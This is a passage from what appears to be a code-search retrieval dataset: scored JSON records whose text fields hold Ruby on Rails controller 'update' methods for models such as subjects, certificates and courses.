args[:subject_key_id] if args.key?(:subject_key_id)\n end", "title": "" }, { "docid": "f99129258c6ed4e438ca873e1600c4b1", "score": "0.57824963", "text": "def update\n @assessment_category = AssessmentCategory.find(params[:id])\n if current_user.role.id == 7\n params[:assessment][:status] = 6 \n params[:assessment][:publisher_id] = @assessment_category.publisher_id\n end \n respond_to do |format|\n if @assessment_category.update_attributes(params[:assessment])\n if @assessment_category.status == 6\n Content.send_message_to_est(@assessment_category.vendor,current_user,@assessment_category)\n end \n format.html { redirect_to @assessment_category, notice: 'AssessmentCategory was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assessment_category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "072234ff6c5b927d76575e2727d6eed3", "score": "0.5770745", "text": "def edit\n\t\tCompanyRequest.where(:id => params[:id]).update_all(is_paid: 1)\n\t\tredirect_to '/admin/requests' , :notice => \"Payment Approved.\"\n\tend", "title": "" }, { "docid": "88965a80e2d3f40b7dca38e065f7ed9b", "score": "0.57700795", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to [:admin, @subject], notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27a496d080c25e65ad0d62e1b5e978d1", "score": "0.5769593", "text": "def update!(**args)\n @certificate_id = args[:certificate_id] if args.key?(:certificate_id)\n @is_managed_certificate = args[:is_managed_certificate] if args.key?(:is_managed_certificate)\n end", "title": "" }, { "docid": "6a2dc1e06fe6afcc0998e7a1a722e064", "score": "0.5768645", "text": "def update\n respond_to do |format|\n if @admin_subject.update(admin_subject_params)\n format.html { redirect_to @admin_subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_subject }\n else\n format.html { render :edit }\n format.json { render json: @admin_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e68f7f390d32d3c21a37b72b30afcc2", "score": "0.57534903", "text": "def update\n respond_to do |format|\n if @course_by_subject.update(course_by_subject_params)\n format.html { redirect_to @course_by_subject, notice: 'Course by subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_by_subject }\n else\n format.html { render :edit }\n format.json { render json: @course_by_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d43c9d6981b37e3aeba70739e41f70ba", "score": "0.5752366", "text": "def update\n @subject_planification = SubjectPlanification.find(params[:id])\n\n if @subject_planification.update(subject_planification_params)\n head :no_content\n else\n render json: @subject_planification.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c5d779fb2292e86d0c8ee06f18c7b3fb", "score": "0.57489055", "text": "def update\n respond_to do |format|\n if @electrical_subject.update(electrical_subject_params)\n format.html { redirect_to admin_electrical_subjects_path, notice: 'Electrical subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @electrical_subject }\n else\n format.html { render :edit }\n format.json { render json: @electrical_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e2613534c912e46ad98c7f0a919ee6b", "score": "0.57488805", "text": "def update\n respond_to do |format|\n if @subject_contact.update(subject_contact_params)\n format.html { redirect_to @subject_contact, notice: 'Subject contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_contact }\n else\n format.html { render :edit }\n format.json { render json: @subject_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f27e1b258b40d13251d83cb88445094c", "score": "0.57467014", "text": "def update\n @cord_clip = CordClip.find(params[:id])\n if params[:to_needs_editing] # if update call from needs editing, set part status accordingly\n @cord_clip.release_status = \"needs editing\"\n else\n @cord_clip.release_status = \"pending\"\n end\n respond_to do |format|\n if @cord_clip.update_attributes(cord_clip_params)\n format.html { redirect_to(@cord_clip, :notice => 'Cord clip was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cord_clip.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b24eeb5b164a9e658895a1463d5d97e", "score": "0.5745157", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to subjects_path, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e844f08f30c14333120aec260581f1f", "score": "0.573865", "text": "def update\n @pcr = Pcr.find(params[:id])\n\n respond_to do |format|\n if @pcr.update_attributes(params[:pcr])\n format.html { redirect_to(@pcr, :notice => 'Pcr was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pcr.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3847d2431793d46c9a4e6de39dc460fd", "score": "0.5727451", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c39ad8c08edd457bbace8893e83d6905", "score": "0.5725458", "text": "def update\n respond_to do |format|\n #company_params_copy = company_params \n #@new_status = company_params[:status] == \"1\" ? 1 : 0\n #@new_status = company_params[:status] == \"true\" \n #company_params_copy[:status] = @new_status\n \n #if @company.update(company_params_copy)\n if @company.update(company_params) \n #format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n if company_params[:status]==\"approved\"\n unless @company.user==nil\n SystemMailer.approveapp_email(@company.user.email).deliver\n @company.user.confirm!\n end\n end\n flash.now[:notice] = 'Company was successfully updated.'\n format.html { render :edit }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a72c117302f4484cdc9053ec4f0e7ce3", "score": "0.5722837", "text": "def update\n respond_to do |format|\n if @subject_set.update(subject_set_params)\n format.html { redirect_to @subject_set, notice: 'Subject set was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_set }\n else\n format.html { render :edit }\n format.json { render json: @subject_set.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89328aefbe1babd5cf40487a3b1a5507", "score": "0.57158476", "text": "def update\n respond_to do |format|\n if @cpm_issue.update(cpm_issue_params)\n format.html { redirect_to @cpm_issue, notice: 'Cpm issue was successfully updated.' }\n format.json { render :show, status: :ok, location: @cpm_issue }\n else\n format.html { render :edit }\n format.json { render json: @cpm_issue.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b8acf6f57756fb3db277a99cbb91f6b", "score": "0.570643", "text": "def update\n respond_to do |format|\n if @subject_info.update(subject_info_params)\n format.html { redirect_to @subject_info, notice: 'Subject info was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_info }\n else\n format.html { render :edit }\n format.json { render json: @subject_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a65f190f9d515d31549f828906c4421f", "score": "0.57061774", "text": "def update\n respond_to do |format|\n if @course_subject.update(course_subject_params)\n format.html { redirect_to @course_subject, notice: 'Course subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_subject }\n else\n format.html { render :edit }\n format.json { render json: @course_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c739eb8ed19cafac4c17feab5a9158d4", "score": "0.5697549", "text": "def update\n # @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b977c9fa7b704ff533b98f11a63bfabd", "score": "0.5691618", "text": "def update\n respond_to do |format|\n if @civilschedulesubject.update(civilschedulesubject_params)\n format.html { redirect_to admin_civilschedulesubjects_path, notice: 'Jadwal berhasil diperbarui' }\n format.json { render :show, status: :ok, location: @civilschedulesubject }\n else\n format.html { render :edit }\n format.json { render json: @civilschedulesubject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56f77638e43cd0e0399e0a0a2369f11b", "score": "0.56897354", "text": "def update\n respond_to do |format|\n if @subject.update(admin_subject_params)\n format.html { redirect_to admin_subject_path(@subject), success: I18n.t('admin.basic.messages.updated', model: 'subject') }\n format.json { render :show, status: :ok, location: admin_subject_path(@subject) }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d486569d48610c4b68bfd96a0ae9b46", "score": "0.5682523", "text": "def update\n respond_to do |format|\n if @plan_subject.update(plan_subject_params)\n format.html { redirect_to @plan_subject, notice: 'Plan subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan_subject }\n else\n format.html { render :edit }\n format.json { render json: @plan_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06a5cd95e092d8eae3e8a58f067541f7", "score": "0.5679255", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to list_subjects_url, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49bc65ed42146cea2a84e8cef0072d30", "score": "0.5678052", "text": "def update\n respond_to do |format|\n if @course.update(subject_params)\n format.html { redirect_to @course, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "975c2bf029bbc81b0a3c98eb79dfa2c2", "score": "0.5675603", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "975c2bf029bbc81b0a3c98eb79dfa2c2", "score": "0.5675603", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "975c2bf029bbc81b0a3c98eb79dfa2c2", "score": "0.5675603", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "975c2bf029bbc81b0a3c98eb79dfa2c2", "score": "0.5675603", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47bd171b2b3d286f9607134a71b184c5", "score": "0.5670253", "text": "def update\n respond_to do |format|\n if @user_subject.update(user_subject_params)\n format.html { redirect_to @user_subject, notice: 'User subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_subject }\n else\n format.html { render :edit }\n format.json { render json: @user_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fee096768da2a366f7f9bb02f4a7c702", "score": "0.56657106", "text": "def update\n respond_to do |format|\n if @master_cpa.update(master_cpa_params)\n format.html { redirect_to @master_cpa, notice: 'Master cpa was successfully updated.' }\n format.json { render :show, status: :ok, location: @master_cpa }\n else\n format.html { render :edit }\n format.json { render json: @master_cpa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "151e84b7b5eb153c84f529f33866cd0b", "score": "0.5662924", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Предмет изменён.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e4d1a2e7afa4ed7babb29400a7ec778", "score": "0.56605357", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to \"/posts/#{@subject.post_id}/subjects/new\", notice: \"Subject was successfully updated.\" }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8727bdf2a4d37a35d25ae1fd1db8dbb", "score": "0.56515086", "text": "def update\n @admin_subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @admin_subject.update_attributes(params[:subject])\n format.html { redirect_to([:admin, @admin_subject], :notice => 'Subject was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "title": "" }, { "docid": "4f2d88e15e9c3cf07209533d67d67927", "score": "0.5641367", "text": "def update!(**args)\n @certificates = args[:certificates] if args.key?(:certificates)\n end", "title": "" }, { "docid": "40ed279905d04ea4360a4deaf1694202", "score": "0.56344235", "text": "def update\n respond_to do |format|\n if @coursesubject.update(coursesubject_params)\n format.html { redirect_to @coursesubject, notice: 'Coursesubject was successfully updated.' }\n format.json { render :show, status: :ok, location: @coursesubject }\n else\n format.html { render :edit }\n format.json { render json: @coursesubject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40ed279905d04ea4360a4deaf1694202", "score": "0.56344235", "text": "def update\n respond_to do |format|\n if @coursesubject.update(coursesubject_params)\n format.html { redirect_to @coursesubject, notice: 'Coursesubject was successfully updated.' }\n format.json { render :show, status: :ok, location: @coursesubject }\n else\n format.html { render :edit }\n format.json { render json: @coursesubject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c78dea539b5ca562c0f6d12161e9116a", "score": "0.5631649", "text": "def update\n respond_to do |format|\n if @courses_subject.update(courses_subject_params)\n format.html { redirect_to @courses_subject, notice: 'Courses subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @courses_subject }\n else\n format.html { render :edit }\n format.json { render json: @courses_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91094c7fc9882a6c2a4d0a6c3cb186c4", "score": "0.56307995", "text": "def update\n respond_to do |format|\n if @ccr.update(ccr_params)\n format.html { redirect_to @ccr, notice: 'Ccr was successfully updated.' }\n format.json { render :show, status: :ok, location: @ccr }\n else\n format.html { render :edit }\n format.json { render json: @ccr.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af78e27954d117cf1b030a03529ea173", "score": "0.5629035", "text": "def update\n @codes_cpt = CodesCpt.find(params[:id])\n @codes_cpt.updated_user = current_user.login_name\n\n respond_to do |format|\n if @codes_cpt.update_attributes(params[:codes_cpt])\n format.html { redirect_to @codes_cpt, notice: 'Codes cpt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @codes_cpt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64fc8588f8f6ed7222629ae0e52fa6ff", "score": "0.5626392", "text": "def update\n @subject = Subject.find(params[:id])\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n if (not params[:sample_id].nil?)\n format.html { redirect_to project_sample_set_sample_subject_path(params[:project_id],params[:sample_set_id], params[:sample_id],@subject), notice: 'Subject was successfully updated.' }\n else\n format.html { redirect_to project_subject_path(params[:project_id],@subject), notice: 'Subject was successfully updated.' }\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8293e5075e4d9cc7ce810ada597d579", "score": "0.5615094", "text": "def update\n render json: {status: 'error', error: 'Invalid Certificate'}, status: 422 and return unless @certificate.active?\n render json: {status: 'error', error: 'Bad parameters'}, status: 422 and return unless params[:valid].to_s == \"false\"\n\n if @certificate.update(active: false, revoked: true, valid_until: Time.now)\n render :show, status: :ok, location: @certificate\n else\n render json: @certificate.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "17c37933cf119e498ee59f474ecbbf56", "score": "0.5613578", "text": "def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to(@subject, :notice => 'Subject was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "db325d80c3aec636b314824345be5538", "score": "0.56134343", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: \"Subject was successfully updated.\" }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb987a3872773d93c16fd1b65c814cf6", "score": "0.561255", "text": "def update\n respond_to do |format|\n if @electrical_subject.update(electrical_subject_params)\n format.html { redirect_to @electrical_subject, notice: 'Electrical subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @electrical_subject }\n else\n format.html { render :edit }\n format.json { render json: @electrical_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f69fd2f99bb50c072fe0231cc3cdce2e", "score": "0.56124395", "text": "def update\n respond_to do |format|\n if @edit_subject.update(subject_params)\n format.html { redirect_to subjects_path, notice: 'Schedule place was successfully updated.' }\n format.json { render :show, status: :ok, location: @edit_subject }\n else\n format.html { render :edit }\n format.json { render json: @edit_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2a5db15209e9481d4c28aa626c159ba", "score": "0.56123877", "text": "def update\n subject = Subject.find(params[:id])\n if subject.update(params_subject)\n render json: subject, status: 200\n else\n render json: subject.errors, status: 422\n end\n\n end", "title": "" }, { "docid": "ebd90e12414b07240ba83218a04273d4", "score": "0.5610494", "text": "def update\n respond_to do |format|\n if @activity_x_subject.update(activity_x_subject_params)\n format.html { redirect_to @activity_x_subject, notice: 'Activity x subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_x_subject }\n else\n format.html { render :edit }\n format.json { render json: @activity_x_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "925c91687b6135a68a408f77a3dbacb3", "score": "0.56090623", "text": "def update\n respond_to do |format|\n if @subject_assignment.update(subject_assignment_params)\n format.html { redirect_to @subject_assignment, notice: 'Subject assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_assignment }\n else\n format.html { render :edit }\n format.json { render json: @subject_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcc815d1821e224841839d315345f986", "score": "0.5598458", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: t(:subject_successfullly_updated) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6afc2debc0618c95f07d8394639ea587", "score": "0.55947906", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "910021d70ab77ea4df074eccb20e4b0b", "score": "0.5591388", "text": "def set_pcp_subject\n @pcp_subject = PcpSubject.find( params[ :id ])\n end", "title": "" }, { "docid": "13b62272fdd8f25c5f2f7f99e4c2a404", "score": "0.5591317", "text": "def update\n respond_to do |format|\n if @professor_subject.update(professor_subject_params)\n format.html { redirect_to @professor_subject, notice: 'Professor subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @professor_subject }\n else\n format.html { render :edit }\n format.json { render json: @professor_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf8ad12799b17dbda62c89e4a2e561a0", "score": "0.55806947", "text": "def update\n respond_to do |format|\n format.json do\n # this removes the current associated fos subjects, but doesn't delete subject entries from subjects table\n resource.subjects.permissive_fos.each do |subj|\n ResourcesSubjects.where(resource_id: resource, subject_id: subj).destroy_all\n end\n resource.subjects << make_or_get_subject(params[:fos_subjects]) unless params[:fos_subjects].blank?\n render json: resource.subjects.permissive_fos\n end\n end\n end", "title": "" }, { "docid": "855d806ad089d98ae2f602b617e046ec", "score": "0.55792755", "text": "def update\r\n respond_to do |format|\r\n if @subject.update(updated_subject_params)\r\n format.html { redirect_to category_subjects_path(@subject.category_id), notice: 'Subject was successfully updated.' }\r\n format.json { render :index, status: :ok, location: @subject }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @category.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "2838d68319b269787b6d8a2297eb031a", "score": "0.55764216", "text": "def update\n set_subject\n if @subject.update(subject_params)\n render :json => {}\n else\n render :json => @subject.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "9e63c7aa6374d9aaa83b5bdc6fbef2d7", "score": "0.5572233", "text": "def update\n\n if @comp.update(comp_params)\n head :no_content\n else\n render json: @comp.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "fc5706a639565f81335039f8de984213", "score": "0.5571825", "text": "def update\n @po = Po.find(params[:id])\n #authorize! :update, @po\n\n @po.update_attributes pick(params, :approved, :confirmed)\n respond_with @po\n end", "title": "" }, { "docid": "6b79a2e223f4a685f7265d117f205599", "score": "0.55709445", "text": "def update\n #@subject_module = SubjectModule.find(params[:id])\n@subject_module = SubjectModule.find(params[@subject])\n\n respond_to do |format|\n if @subject_module.update_attributes(params[:subject_module])\n format.html { redirect_to @subject_module, notice: 'Subject module was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject_module.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "109b265561b5ade93bb1b832aa923378", "score": "0.55650365", "text": "def update\n logger.debug \"xxx in update #{params}\"\n @cc_all = CcAll.find(params[:id])\n logger.debug \"xxx in update #{@cc_all.attributes.inspect}\"\n\n respond_to do |format|\n if @cc_all.update_attributes(params[:cc_all])\n #format.html { redirect_to(@cc_all, :notice => 'Cc all was successfully updated.') }\n format.html { redirect_to(spine_path, :notice => 'Cc all was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cc_all.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8ecdbe7e7562ffe58afd63c3c988a3e", "score": "0.5563893", "text": "def update\n @course = Portal::Course.find(params[:id])\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (found instance)\n # authorize @course\n\n respond_to do |format|\n if @course.update(portal_course_strong_params(params[:portal_course]))\n flash['notice'] = 'Portal::Course was successfully updated.'\n format.html { redirect_to(@course) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0408ef30c2543fb7b13b3bdbbed03348", "score": "0.55622804", "text": "def update\n \t\t@pcr = Pcr.find(params[:id])\n\t\t@tubeAddTransactions={}\n\t\t@tubeRemoveTransaction={}\n\t\tif params[:pcr]\n\t\t\tif params[:pcr][:tubesToAdd]\n\t\t\t\t@tubeAddTransactions=Pcr.add_tubes(params,@pcr)\n\t\t\t\tparams[:pcr].delete :tubesToAdd\n\t\t\tend\n\t\t\tif params[:pcr][:tubesToRemove]\n\t\t\t\t@tubeRemoveTransactions=Pcr.remove_tubes(params,@pcr)\n\t\t\t\tparams[:pcr].delete :tubesToRemove\n\t\t\tend\n\t\tend\n\t\t\n\t\tif params[:tubes]\n\t\t\tif params[:tubes][:primerID]\n\t\t\t\tTube.createNewTube(params,@pcr)\n\t\t\t\tparams[:tubes].delete :primerID\n\t\t\tend\n\t\tend\n\n\t\t\n\n\n\t respond_to do |format|\n\t\t\tif @pcr.update_attributes(params[:pcr])\n\t \tformat.html { redirect_to(@pcr) }\n\t\t format.xml { head :ok }\n\t\t else\n\t \tformat.html { render :action => \"edit\" }\n\t \tformat.xml { render :xml => @pcr.errors, :status => :unprocessable_entity }\n\t \tend\n\t\tend\n end", "title": "" }, { "docid": "ccc95626dd47bc5cc49c1c45580ad601", "score": "0.5557542", "text": "def update\n\tload_filter_params\n \n respond_to do |format|\n if @certificate.update(certificate_params)\n\t\tformat.html { redirect_to certificates_path(:page => @page, q: {:number_eq => @number_eq, :responsible_enginner_cont => @responsible_enginner_cont, :company_name_cont => @company_name_cont, :description_cont => @description_cont, :kind_of_service_id_eq => @kind_of_service_id_eq, :verified_eq => @verified_eq}), notice: 'Certificação atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @certificate }\n else\n format.html { render :edit }\n format.json { render json: @certificate.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51666717f4046e48ba76d335952e3fca", "score": "0.5555405", "text": "def update!(**args)\n @common_name = args[:common_name] if args.key?(:common_name)\n @subject = args[:subject] if args.key?(:subject)\n @subject_alt_name = args[:subject_alt_name] if args.key?(:subject_alt_name)\n end", "title": "" }, { "docid": "ed6aab5a6b29c28dcd285a79b0753f18", "score": "0.55540633", "text": "def update\n respond_to do |format|\n if @subject_heading_type_has_subject.update_attributes(params[:subject_heading_type_has_subject])\n format.html { redirect_to @subject_heading_type_has_subject, :notice => 'SubjectHeadingTypeHasSubject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @subject_heading_type_has_subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec79e7f3e6032e6999eb3e72899fcff9", "score": "0.5548737", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to subjects_url, notice: 'Predmet je uspješno izmjenjen.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d43a7ff17ce294eb6327a02dec826b3", "score": "0.5543476", "text": "def update\n respond_to do |format|\n if @pc.update(pc_params)\n format.html { redirect_to @pc, notice: 'Pc was successfully updated.' }\n format.json { render :show, status: :ok, location: @pc }\n else\n format.html { render :edit }\n format.json { render json: @pc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f200b6dc7640daa369003657d788a106", "score": "0.55434203", "text": "def update\n respond_to do |format|\n if @section_subject.update(section_subject_params)\n format.html { redirect_to @section_subject, notice: 'Section subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @section_subject.errors, status: 